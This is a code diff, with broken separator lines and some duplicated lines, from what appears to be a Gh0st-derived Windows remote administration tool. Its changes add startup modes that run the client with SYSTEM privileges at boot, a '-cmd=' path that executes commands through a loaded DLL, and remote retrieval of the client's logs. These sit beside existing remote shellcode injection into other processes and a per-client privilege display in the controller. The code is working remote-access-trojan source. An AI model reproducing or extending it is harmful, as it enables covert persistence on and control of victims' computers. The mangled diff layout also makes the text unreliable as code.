BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
|
BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
|
||||||
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
||||||
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
|
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()),
|
||||||
|
(argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0 && strlen(argv[1]) > 5) ? std::string(argv[1] + 5) : "");
|
||||||
if (ret == 1) {
|
if (ret == 1) {
|
||||||
Mprintf("结束运行.\n");
|
Mprintf("结束运行.\n");
|
||||||
Sleep(1000);
|
Sleep(1000);
|
||||||
@@ -397,7 +405,7 @@ int main(int argc, const char *argv[])
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 传入命令行参数: IP 和 端口.
|
// 传入命令行参数: IP 和 端口.
|
||||||
BOOL Run(const char* argv1, int argv2)
|
BOOL Run(const char* argv1, int argv2, const std::string &runCmd)
|
||||||
{
|
{
|
||||||
BOOL result = FALSE;
|
BOOL result = FALSE;
|
||||||
char path[_MAX_PATH], * p = path;
|
char path[_MAX_PATH], * p = path;
|
||||||
@@ -438,7 +446,7 @@ BOOL Run(const char* argv1, int argv2)
|
|||||||
case Startup_DLL:
|
case Startup_DLL:
|
||||||
runner = new DefaultDllRunner;
|
runner = new DefaultDllRunner;
|
||||||
break;
|
break;
|
||||||
case Startup_MEMDLL:
|
case Startup_MEMDLL: case Startup_TestRunSystem :
|
||||||
runner = new MemoryDllRunner;
|
runner = new MemoryDllRunner;
|
||||||
break;
|
break;
|
||||||
case Startup_InjSC:
|
case Startup_InjSC:
|
||||||
@@ -455,6 +463,8 @@ BOOL Run(const char* argv1, int argv2)
|
|||||||
stop = hDll ? StopRun(runner->GetProcAddress(hDll, "StopRun")) : NULL;
|
stop = hDll ? StopRun(runner->GetProcAddress(hDll, "StopRun")) : NULL;
|
||||||
bStop = hDll ? IsStoped(runner->GetProcAddress(hDll, "IsStoped")) : NULL;
|
bStop = hDll ? IsStoped(runner->GetProcAddress(hDll, "IsStoped")) : NULL;
|
||||||
bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL;
|
bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL;
|
||||||
|
CmdRunner cmd = hDll ? CmdRunner(runner->GetProcAddress(hDll, "RunCommand")) : NULL;
|
||||||
|
int nCmd = runCmd.empty() ? 0 : std::atoi(runCmd.c_str());
|
||||||
if (NULL == run) {
|
if (NULL == run) {
|
||||||
if (hDll) runner->FreeLibrary(hDll);
|
if (hDll) runner->FreeLibrary(hDll);
|
||||||
Mprintf("加载动态链接库\"ServerDll.dll\"失败. 错误代码: %d\n", GetLastError());
|
Mprintf("加载动态链接库\"ServerDll.dll\"失败. 错误代码: %d\n", GetLastError());
|
||||||
@@ -476,6 +486,13 @@ BOOL Run(const char* argv1, int argv2)
|
|||||||
port = cfg.Get1Int("settings", "port", ';', 6543);
|
port = cfg.Get1Int("settings", "port", ';', 6543);
|
||||||
}
|
}
|
||||||
Mprintf("[server] %s:%d\n", ip, port);
|
Mprintf("[server] %s:%d\n", ip, port);
|
||||||
|
if (nCmd) {
|
||||||
|
BYTE buf[] = {nCmd};
|
||||||
|
if (cmd) nCmd = cmd(buf, 1);
|
||||||
|
result = 1;
|
||||||
|
Mprintf("Finish run command. Result: %d\n", nCmd);
|
||||||
|
break;
|
||||||
|
}
|
||||||
do {
|
do {
|
||||||
run(ip, port);
|
run(ip, port);
|
||||||
while (bStop && !bStop() && 0 == status)
|
while (bStop && !bStop() && 0 == status)
|
||||||
|
|||||||
@@ -312,7 +312,12 @@ enum {
|
|||||||
TOKEN_DRAWING_BOARD=151, // 画板
|
TOKEN_DRAWING_BOARD=151, // 画板
|
||||||
COMMAND_SCREEN_ROI = 152, // 屏幕区域
|
COMMAND_SCREEN_ROI = 152, // 屏幕区域
|
||||||
COMMAND_SCREEN_WINDOW = 153, // 窗口捕获(标题字符串,空串=恢复全屏)
|
COMMAND_SCREEN_WINDOW = 153, // 窗口捕获(标题字符串,空串=恢复全屏)
|
||||||
|
COMMAND_SCREEN_SIGNATURE = 154,
|
||||||
|
COMMAND_QUERY_LOG = 155,
|
||||||
|
TOKEN_REPORT_LOG = 156,
|
||||||
|
COMMAND_FORBIDDEN = 157,
|
||||||
|
CMD_CUSTOM_CURSOR = 158,
|
||||||
|
|
||||||
TOKEN_DECRYPT = 199,
|
TOKEN_DECRYPT = 199,
|
||||||
TOKEN_REGEDIT = 200, // 注册表
|
TOKEN_REGEDIT = 200, // 注册表
|
||||||
COMMAND_REG_FIND, // 注册表 管理标识
|
COMMAND_REG_FIND, // 注册表 管理标识
|
||||||
@@ -353,6 +358,11 @@ enum {
|
|||||||
};
|
};
|
||||||
|
|
||||||
#pragma pack(push, 1)
|
#pragma pack(push, 1)
|
||||||
|
struct SignatureResp {
|
||||||
|
char msg[64];
|
||||||
|
char signature[64];
|
||||||
|
};
|
||||||
|
|
||||||
struct TextReplace {
|
struct TextReplace {
|
||||||
uint8_t cmd;
|
uint8_t cmd;
|
||||||
uint8_t type;
|
uint8_t type;
|
||||||
@@ -736,6 +746,8 @@ enum TestRunType {
|
|||||||
Startup_InjSC, // 远程 Shell code (注入其他程序执行shell code )
|
Startup_InjSC, // 远程 Shell code (注入其他程序执行shell code )
|
||||||
Startup_GhostMsc, // Windows 服务
|
Startup_GhostMsc, // Windows 服务
|
||||||
Startup_TestRunMsc, // Windows 服务
|
Startup_TestRunMsc, // Windows 服务
|
||||||
|
Startup_GhostSystem, // SYSTEM 权限运行(随开机启动)
|
||||||
|
Startup_TestRunSystem, // SYSTEM 权限运行(随开机启动)
|
||||||
};
|
};
|
||||||
|
|
||||||
inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize)
|
inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize)
|
||||||
@@ -1098,6 +1110,7 @@ enum AuthStatus {
|
|||||||
UNAUTHORIZED = 0, // 未授权
|
UNAUTHORIZED = 0, // 未授权
|
||||||
AUTHED_BY_SUPER = 1, // 由超级管理员授权
|
AUTHED_BY_SUPER = 1, // 由超级管理员授权
|
||||||
AUTHED_BY_ADMIN = 2, // 由管理员授权
|
AUTHED_BY_ADMIN = 2, // 由管理员授权
|
||||||
|
AUTH_FORBIDDEN = 9,
|
||||||
};
|
};
|
||||||
|
|
||||||
// 固定1024字节
|
// 固定1024字节
|
||||||
@@ -1293,7 +1306,8 @@ typedef struct ScreenSettings {
|
|||||||
int ScreenType; // 偏移 40, 屏幕类型(0: GDI, 1: DXGI, 2: Virtual)
|
int ScreenType; // 偏移 40, 屏幕类型(0: GDI, 1: DXGI, 2: Virtual)
|
||||||
int AudioEnabled; // 偏移 44, 音频传输(0: 禁用, 1: 启用)
|
int AudioEnabled; // 偏移 44, 音频传输(0: 禁用, 1: 启用)
|
||||||
int EncodeLevel; // 偏移 48, 编码等级
|
int EncodeLevel; // 偏移 48, 编码等级
|
||||||
char Reserved[44]; // 偏移 52, 保留字段(新能力参数从此处扩展)
|
int CustomCursor; // 偏移 52, 自定义光标
|
||||||
|
char Reserved[40]; // 偏移 56, 保留字段(新能力参数从此处扩展)
|
||||||
uint32_t Capabilities; // 偏移 96, 能力位标志(放最后)
|
uint32_t Capabilities; // 偏移 96, 能力位标志(放最后)
|
||||||
} ScreenSettings; // 总大小 100 字节
|
} ScreenSettings; // 总大小 100 字节
|
||||||
|
|
||||||
|
|||||||
@@ -29,6 +29,7 @@
|
|||||||
#include <cstdarg>
|
#include <cstdarg>
|
||||||
#include <iomanip>
|
#include <iomanip>
|
||||||
#include <algorithm>
|
#include <algorithm>
|
||||||
|
#include <deque>
|
||||||
|
|
||||||
|
|
||||||
inline bool stringToBool(const std::string& str)
|
inline bool stringToBool(const std::string& str)
|
||||||
@@ -150,6 +151,16 @@ public:
|
|||||||
std::string logEntry = file && line ?
|
std::string logEntry = file && line ?
|
||||||
id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message:
|
id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message:
|
||||||
id + "[" + timestamp + "] " + message;
|
id + "[" + timestamp + "] " + message;
|
||||||
|
|
||||||
|
// Always record to in-memory ring buffer regardless of enable flag.
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_memMutex);
|
||||||
|
m_memLog.push_back(logEntry);
|
||||||
|
m_totalCount++;
|
||||||
|
if (m_memLog.size() > kMemLogMax)
|
||||||
|
m_memLog.pop_front();
|
||||||
|
}
|
||||||
|
|
||||||
if (enable) {
|
if (enable) {
|
||||||
if (running) {
|
if (running) {
|
||||||
std::lock_guard<std::mutex> lock(queueMutex);
|
std::lock_guard<std::mutex> lock(queueMutex);
|
||||||
@@ -168,6 +179,32 @@ public:
|
|||||||
cv.notify_one(); // 通知写线程
|
cv.notify_one(); // 通知写线程
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 返回内存 ring buffer 中的全部日志(供 TCP 查询使用)
|
||||||
|
std::string DumpMemoryLog() const
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_memMutex);
|
||||||
|
std::string result;
|
||||||
|
result.reserve(m_memLog.size() * 128);
|
||||||
|
for (const auto& entry : m_memLog)
|
||||||
|
result += entry;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 增量版本:只返回 fromAbs 之后的新条目,并将 fromAbs 更新到当前末尾。
|
||||||
|
// fromAbs 是调用方维护的绝对计数器(首次传 0 即得全量)。
|
||||||
|
std::string DumpMemoryLogFrom(size_t& fromAbs) const
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_memMutex);
|
||||||
|
// ring buffer 内最旧条目的绝对序号
|
||||||
|
size_t oldest = (m_totalCount >= m_memLog.size()) ? m_totalCount - m_memLog.size() : 0;
|
||||||
|
size_t startIdx = (fromAbs <= oldest) ? 0 : (fromAbs - oldest);
|
||||||
|
std::string result;
|
||||||
|
for (size_t i = startIdx; i < m_memLog.size(); ++i)
|
||||||
|
result += m_memLog[i];
|
||||||
|
fromAbs = m_totalCount;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
// 停止日志系统
|
// 停止日志系统
|
||||||
void stop()
|
void stop()
|
||||||
{
|
{
|
||||||
@@ -220,6 +257,11 @@ private:
|
|||||||
std::mutex fileMutex; // 文件写入锁
|
std::mutex fileMutex; // 文件写入锁
|
||||||
std::string pid; // 进程ID
|
std::string pid; // 进程ID
|
||||||
|
|
||||||
|
static constexpr size_t kMemLogMax = 1000;
|
||||||
|
std::deque<std::string> m_memLog;
|
||||||
|
size_t m_totalCount = 0;
|
||||||
|
mutable std::mutex m_memMutex;
|
||||||
|
|
||||||
Logger() : enable(false), threadRun(false), running(true), workerThread(&Logger::processLogs, this) {}
|
Logger() : enable(false), threadRun(false), running(true), workerThread(&Logger::processLogs, this) {}
|
||||||
|
|
||||||
~Logger()
|
~Logger()
|
||||||
|
|||||||
@@ -478,6 +478,14 @@ BOOL CMy2015RemoteApp::InitInstance()
|
|||||||
Mprintf("[InitInstance] 处理自定义压缩/解压命令后退出。\n");
|
Mprintf("[InitInstance] 处理自定义压缩/解压命令后退出。\n");
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
iniFile cfg;
|
||||||
|
int bits = cfg.GetInt("auth", "bits", 64);
|
||||||
|
const int currentBits = sizeof(int*) * 8;
|
||||||
|
if (bits != currentBits) {
|
||||||
|
Mprintf("[InitInstance] 运行%d位程序,上次运行为%d位\n", currentBits, bits);
|
||||||
|
cfg.SetInt("auth", "bits", currentBits);
|
||||||
|
cfg.SetStr("auth", "version", "");
|
||||||
|
}
|
||||||
|
|
||||||
BOOL runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0);
|
BOOL runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0);
|
||||||
|
|
||||||
@@ -489,6 +497,7 @@ BOOL CMy2015RemoteApp::InitInstance()
|
|||||||
THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_PROTECTED, 0);
|
THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_PROTECTED, 0);
|
||||||
// 确保是正常模式(服务端已设置,这里再次确保)
|
// 确保是正常模式(服务端已设置,这里再次确保)
|
||||||
THIS_CFG.SetInt("settings", "RunNormal", 1);
|
THIS_CFG.SetInt("settings", "RunNormal", 1);
|
||||||
|
THIS_CFG.SetStr("auth", "version", "");
|
||||||
runNormal = 1;
|
runNormal = 1;
|
||||||
Mprintf("[InitInstance] 检测到代理崩溃保护标志,切换到正常运行模式。\n");
|
Mprintf("[InitInstance] 检测到代理崩溃保护标志,切换到正常运行模式。\n");
|
||||||
MessageBoxL("检测到代理程序连续崩溃,已自动切换到正常运行模式。\n\n"
|
MessageBoxL("检测到代理程序连续崩溃,已自动切换到正常运行模式。\n\n"
|
||||||
|
|||||||
Binary file not shown.
@@ -14,6 +14,7 @@
|
|||||||
#include "ShellDlg.h"
|
#include "ShellDlg.h"
|
||||||
#include "TerminalDlg.h"
|
#include "TerminalDlg.h"
|
||||||
#include "SystemDlg.h"
|
#include "SystemDlg.h"
|
||||||
|
#include "CClientLog.h"
|
||||||
#include "BuildDlg.h"
|
#include "BuildDlg.h"
|
||||||
#include "AudioDlg.h"
|
#include "AudioDlg.h"
|
||||||
#include "RegisterDlg.h"
|
#include "RegisterDlg.h"
|
||||||
@@ -61,6 +62,7 @@
|
|||||||
#include "common/file_upload.h"
|
#include "common/file_upload.h"
|
||||||
#include "SplashDlg.h"
|
#include "SplashDlg.h"
|
||||||
#include "SearchBarDlg.h"
|
#include "SearchBarDlg.h"
|
||||||
|
#include "LogSearchBar.h"
|
||||||
#include <ServerServiceWrapper.h>
|
#include <ServerServiceWrapper.h>
|
||||||
#include "CDlgFileSend.h"
|
#include "CDlgFileSend.h"
|
||||||
#include "CClientListDlg.h"
|
#include "CClientListDlg.h"
|
||||||
@@ -139,15 +141,16 @@ COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = {
|
|||||||
{"预览", 60 },
|
{"预览", 60 },
|
||||||
{"IP", 130 },
|
{"IP", 130 },
|
||||||
{"端口", 60 },
|
{"端口", 60 },
|
||||||
{"地理位置", 130 },
|
{"地理位置", 140 },
|
||||||
{"计算机名/备注", 150 },
|
{"计算机名/备注", 140 },
|
||||||
{"操作系统", 120 },
|
{"操作系统", 120 },
|
||||||
{"CPU", 80 },
|
{"CPU", 80 },
|
||||||
{"摄像头", 70 },
|
{"摄像头", 60 },
|
||||||
{"RTT", 70 },
|
{"RTT", 60 },
|
||||||
{"版本", 90 },
|
{"版本", 90 },
|
||||||
{"安装时间", 120 },
|
{"权限", 60 },
|
||||||
{"活动窗口", 140 },
|
{"安装时间", 130 },
|
||||||
|
{"活动窗口", 130 },
|
||||||
{"类型", 50 },
|
{"类型", 50 },
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -642,6 +645,9 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
|
|||||||
m_bmOnline[57].LoadBitmap(IDB_BITMAP_UNINSTALL);
|
m_bmOnline[57].LoadBitmap(IDB_BITMAP_UNINSTALL);
|
||||||
m_bmOnline[58].LoadBitmap(IDB_BITMAP_COPY);
|
m_bmOnline[58].LoadBitmap(IDB_BITMAP_COPY);
|
||||||
m_bmOnline[59].LoadBitmap(IDB_BITMAP_ACTIVE_WND);
|
m_bmOnline[59].LoadBitmap(IDB_BITMAP_ACTIVE_WND);
|
||||||
|
m_bmOnline[60].LoadBitmap(IDB_BITMAP_DEBUG);
|
||||||
|
m_bmOnline[61].LoadBitmap(IDB_BITMAP_CLIENTLOG);
|
||||||
|
m_bmOnline[62].LoadBitmap(IDB_BITMAP_FORBIDDEN);
|
||||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||||
m_ServerDLL[i] = nullptr;
|
m_ServerDLL[i] = nullptr;
|
||||||
m_ServerBin[i] = nullptr;
|
m_ServerBin[i] = nullptr;
|
||||||
@@ -684,6 +690,10 @@ CMy2015RemoteDlg::~CMy2015RemoteDlg()
|
|||||||
m_pSearchBar->DestroyWindow();
|
m_pSearchBar->DestroyWindow();
|
||||||
SAFE_DELETE(m_pSearchBar);
|
SAFE_DELETE(m_pSearchBar);
|
||||||
}
|
}
|
||||||
|
if (m_pLogSearchBar) {
|
||||||
|
m_pLogSearchBar->DestroyWindow();
|
||||||
|
SAFE_DELETE(m_pLogSearchBar);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// DLL 请求限流成员函数实现 (根据配置限制请求频率)
|
// DLL 请求限流成员函数实现 (根据配置限制请求频率)
|
||||||
@@ -892,6 +902,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_MESSAGE(WM_INJECT_SHELLCODE, InjectShellcode)
|
ON_MESSAGE(WM_INJECT_SHELLCODE, InjectShellcode)
|
||||||
ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen)
|
ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen)
|
||||||
ON_MESSAGE(WM_OPEN_WINDOW_SCREEN, OpenWindowScreen)
|
ON_MESSAGE(WM_OPEN_WINDOW_SCREEN, OpenWindowScreen)
|
||||||
|
ON_MESSAGE(WM_OPENCLIENTLOGDIALOG, OnOpenClientLogDialog)
|
||||||
ON_MESSAGE(WM_SHARE_CLIENT, ShareClient)
|
ON_MESSAGE(WM_SHARE_CLIENT, ShareClient)
|
||||||
ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
|
ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
|
||||||
ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
|
ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
|
||||||
@@ -926,6 +937,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_COMMAND(ID_MSGLOG_DELETE, &CMy2015RemoteDlg::OnMsglogDelete)
|
ON_COMMAND(ID_MSGLOG_DELETE, &CMy2015RemoteDlg::OnMsglogDelete)
|
||||||
ON_COMMAND(ID_MSGLOG_COPY, &CMy2015RemoteDlg::OnMsglogCopy)
|
ON_COMMAND(ID_MSGLOG_COPY, &CMy2015RemoteDlg::OnMsglogCopy)
|
||||||
ON_COMMAND(ID_MSGLOG_CLEAR, &CMy2015RemoteDlg::OnMsglogClear)
|
ON_COMMAND(ID_MSGLOG_CLEAR, &CMy2015RemoteDlg::OnMsglogClear)
|
||||||
|
ON_COMMAND(ID_MSGLOG_SEARCH, &CMy2015RemoteDlg::OnMsglogSearch)
|
||||||
ON_COMMAND(ID_ONLINE_ADD_WATCH, &CMy2015RemoteDlg::OnOnlineAddWatch)
|
ON_COMMAND(ID_ONLINE_ADD_WATCH, &CMy2015RemoteDlg::OnOnlineAddWatch)
|
||||||
ON_COMMAND(ID_ONLINE_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnOnlineLoginNotify)
|
ON_COMMAND(ID_ONLINE_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnOnlineLoginNotify)
|
||||||
ON_NOTIFY(NM_CUSTOMDRAW, IDC_ONLINE, &CMy2015RemoteDlg::OnNMCustomdrawOnline)
|
ON_NOTIFY(NM_CUSTOMDRAW, IDC_ONLINE, &CMy2015RemoteDlg::OnNMCustomdrawOnline)
|
||||||
@@ -995,6 +1007,10 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_MESSAGE(WM_SPLITTER_RELEASED, &CMy2015RemoteDlg::OnSplitterReleased)
|
ON_MESSAGE(WM_SPLITTER_RELEASED, &CMy2015RemoteDlg::OnSplitterReleased)
|
||||||
ON_COMMAND(ID_COPY_CLIENT_INFO, &CMy2015RemoteDlg::OnCopyClientInfo)
|
ON_COMMAND(ID_COPY_CLIENT_INFO, &CMy2015RemoteDlg::OnCopyClientInfo)
|
||||||
ON_COMMAND(ID_ONLINE_ACTIVE_WND, &CMy2015RemoteDlg::OnOnlineActiveWnd)
|
ON_COMMAND(ID_ONLINE_ACTIVE_WND, &CMy2015RemoteDlg::OnOnlineActiveWnd)
|
||||||
|
ON_COMMAND(ID_ONLINE_VIEW_WND, &CMy2015RemoteDlg::OnOnlineWindowManager)
|
||||||
|
ON_COMMAND(ID_ENABLE_DEV_DEBUG, &CMy2015RemoteDlg::OnEnableDevDebug)
|
||||||
|
ON_COMMAND(ID_ONLINE_CLIENT_LOG, &CMy2015RemoteDlg::OnOnlineClientLog)
|
||||||
|
ON_COMMAND(ID_ONLINE_FORBIDDEN, &CMy2015RemoteDlg::OnOnlineForbidden)
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
@@ -1096,6 +1112,7 @@ VOID CMy2015RemoteDlg::CreateSolidMenu()
|
|||||||
m_MainMenu.SetMenuItemBitmaps(ID_MASTER_TRAIL, MF_BYCOMMAND, &m_bmOnline[48], &m_bmOnline[48]);
|
m_MainMenu.SetMenuItemBitmaps(ID_MASTER_TRAIL, MF_BYCOMMAND, &m_bmOnline[48], &m_bmOnline[48]);
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_REQUEST_AUTH, MF_BYCOMMAND, &m_bmOnline[49], &m_bmOnline[49]);
|
m_MainMenu.SetMenuItemBitmaps(ID_TOOL_REQUEST_AUTH, MF_BYCOMMAND, &m_bmOnline[49], &m_bmOnline[49]);
|
||||||
m_MainMenu.SetMenuItemBitmaps(ID_UNINSTALL_SOFTWARE, MF_BYCOMMAND, &m_bmOnline[57], &m_bmOnline[57]);
|
m_MainMenu.SetMenuItemBitmaps(ID_UNINSTALL_SOFTWARE, MF_BYCOMMAND, &m_bmOnline[57], &m_bmOnline[57]);
|
||||||
|
m_MainMenu.SetMenuItemBitmaps(ID_ENABLE_DEV_DEBUG, MF_BYCOMMAND, &m_bmOnline[60], &m_bmOnline[60]);
|
||||||
|
|
||||||
// ============================================================
|
// ============================================================
|
||||||
// UIBranding: 根据编译时配置隐藏菜单项
|
// UIBranding: 根据编译时配置隐藏菜单项
|
||||||
@@ -1418,6 +1435,9 @@ VOID CMy2015RemoteDlg::InitControl()
|
|||||||
m_nSplitPos = max(60, min(m_nSplitPos, 600));
|
m_nSplitPos = max(60, min(m_nSplitPos, 600));
|
||||||
m_SplitterBar.Create(this);
|
m_SplitterBar.Create(this);
|
||||||
|
|
||||||
|
m_pLogSearchBar = new CLogSearchBar();
|
||||||
|
m_pLogSearchBar->Create(this, &m_CList_Message);
|
||||||
|
|
||||||
// 不在这里调 ApplyThumbnailSettings —— 调用方在 LoadThumbnailSettingsFromCfg
|
// 不在这里调 ApplyThumbnailSettings —— 调用方在 LoadThumbnailSettingsFromCfg
|
||||||
// 之后统一 Apply(避免"先用默认值 Apply 一次,再读 INI 后再 Apply 一次"的双绘)。
|
// 之后统一 Apply(避免"先用默认值 Apply 一次,再读 INI 后再 Apply 一次"的双绘)。
|
||||||
}
|
}
|
||||||
@@ -1462,8 +1482,12 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
|
|||||||
capStr = ver.Mid(dashPos + 1);
|
capStr = ver.Mid(dashPos + 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const std::string& privUser = v[RES_USERNAME];
|
||||||
|
const std::string& privAdmin = v[RES_ISADMIN];
|
||||||
|
CString privilegeStr = privUser == "SYSTEM" ? "SYSTEM" : privAdmin == "1" ? "Admin" : "User";
|
||||||
|
|
||||||
CString data[ONLINELIST_MAX] = { strIP, strAddr, "", strPCName, strOS, strCPU, strVideo, strPing,
|
CString data[ONLINELIST_MAX] = { strIP, strAddr, "", strPCName, strOS, strCPU, strVideo, strPing,
|
||||||
verDisplay, install, startTime, v[RES_CLIENT_TYPE].empty() ? "?" : v[RES_CLIENT_TYPE].c_str(), path,
|
verDisplay, privilegeStr, install, startTime, v[RES_CLIENT_TYPE].empty() ? "?" : v[RES_CLIENT_TYPE].c_str(), path,
|
||||||
v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), startTime, capStr,
|
v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), startTime, capStr,
|
||||||
};
|
};
|
||||||
// 优先采用客户端自报的 ID(新客户端用 V2 算法 = MachineGuid + 归一化路径,
|
// 优先采用客户端自报的 ID(新客户端用 V2 算法 = MachineGuid + 归一化路径,
|
||||||
@@ -1509,6 +1533,11 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
|
|||||||
ContextObject->SetID(id);
|
ContextObject->SetID(id);
|
||||||
ContextObject->SetGroup(groupName);
|
ContextObject->SetGroup(groupName);
|
||||||
m_ClientMap->SaveClientMapData(ContextObject);
|
m_ClientMap->SaveClientMapData(ContextObject);
|
||||||
|
int status = m_ClientMap->GetClientMapInteger(id, MAP_AUTH);
|
||||||
|
if (status == AUTH_FORBIDDEN) {
|
||||||
|
BYTE buf[32] = { COMMAND_FORBIDDEN };
|
||||||
|
ContextObject->Send2Client(buf, sizeof(buf));
|
||||||
|
}
|
||||||
|
|
||||||
EnterCriticalSection(&m_cs);
|
EnterCriticalSection(&m_cs);
|
||||||
|
|
||||||
@@ -1650,6 +1679,23 @@ LRESULT CMy2015RemoteDlg::OnShowMessage(WPARAM wParam, LPARAM lParam)
|
|||||||
// 消息日志最大条数,达到上限时删除最旧的记录
|
// 消息日志最大条数,达到上限时删除最旧的记录
|
||||||
#define MAX_MESSAGE_COUNT 1000
|
#define MAX_MESSAGE_COUNT 1000
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
bool MsgHasKW(const CString& s, const CString* kw, int n) {
|
||||||
|
for (int i = 0; i < n; i++)
|
||||||
|
if (s.Find(kw[i]) >= 0) return true;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
int MsgColorLevel(const CString& type, const CString& msg) {
|
||||||
|
const CString redKW[] = { _L("严禁"), _L("禁止") };
|
||||||
|
const CString orangeKW[] = { _L("失败"), _L("警告") };
|
||||||
|
const CString greenKW[] = { _L("成功"), _L("请") };
|
||||||
|
if (MsgHasKW(type, redKW, _countof(redKW)) || MsgHasKW(msg, redKW, _countof(redKW))) return 1;
|
||||||
|
if (MsgHasKW(type, orangeKW, _countof(orangeKW)) || MsgHasKW(msg, orangeKW, _countof(orangeKW))) return 2;
|
||||||
|
if (MsgHasKW(msg, greenKW, _countof(greenKW))) return 3;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
VOID CMy2015RemoteDlg::ShowMessage(CString strType, CString strMsg)
|
VOID CMy2015RemoteDlg::ShowMessage(CString strType, CString strMsg)
|
||||||
{
|
{
|
||||||
AUTO_TICK(200, "");
|
AUTO_TICK(200, "");
|
||||||
@@ -1662,9 +1708,10 @@ VOID CMy2015RemoteDlg::ShowMessage(CString strType, CString strMsg)
|
|||||||
m_CList_Message.DeleteItem(count - 1);
|
m_CList_Message.DeleteItem(count - 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
m_CList_Message.InsertItem(0, strType); //向控件中设置数据
|
m_CList_Message.InsertItem(0, strType);
|
||||||
m_CList_Message.SetItemText(0,1,strTime);
|
m_CList_Message.SetItemText(0, 1, strTime);
|
||||||
m_CList_Message.SetItemText(0,2,strMsg);
|
m_CList_Message.SetItemText(0, 2, strMsg);
|
||||||
|
m_CList_Message.SetItemData(0, (DWORD_PTR)MsgColorLevel(strType, strMsg));
|
||||||
|
|
||||||
CString strStatusMsg;
|
CString strStatusMsg;
|
||||||
|
|
||||||
@@ -1739,9 +1786,12 @@ LRESULT CMy2015RemoteDlg::OnShowErrMessage(WPARAM wParam, LPARAM lParam)
|
|||||||
m_CList_Message.DeleteItem(count - 1);
|
m_CList_Message.DeleteItem(count - 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
m_CList_Message.InsertItem(0, title ? _L(*title) : _TR("操作错误"));
|
CString strTitle = title ? _L(*title) : _TR("操作错误");
|
||||||
|
CString strText = text ? _L(*text) : _TR("内部错误");
|
||||||
|
m_CList_Message.InsertItem(0, strTitle);
|
||||||
m_CList_Message.SetItemText(0, 1, strTime);
|
m_CList_Message.SetItemText(0, 1, strTime);
|
||||||
m_CList_Message.SetItemText(0, 2, text ? _L(*text) : _TR("内部错误"));
|
m_CList_Message.SetItemText(0, 2, strText);
|
||||||
|
m_CList_Message.SetItemData(0, (DWORD_PTR)MsgColorLevel(strTitle, strText));
|
||||||
if(title)delete title;
|
if(title)delete title;
|
||||||
if(text)delete text;
|
if(text)delete text;
|
||||||
|
|
||||||
@@ -3205,7 +3255,8 @@ void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
|
|||||||
lastType = nType;
|
lastType = nType;
|
||||||
|
|
||||||
BOOL hideLog = THIS_CFG.GetInt("settings", "HideMsg", 0) == 1;
|
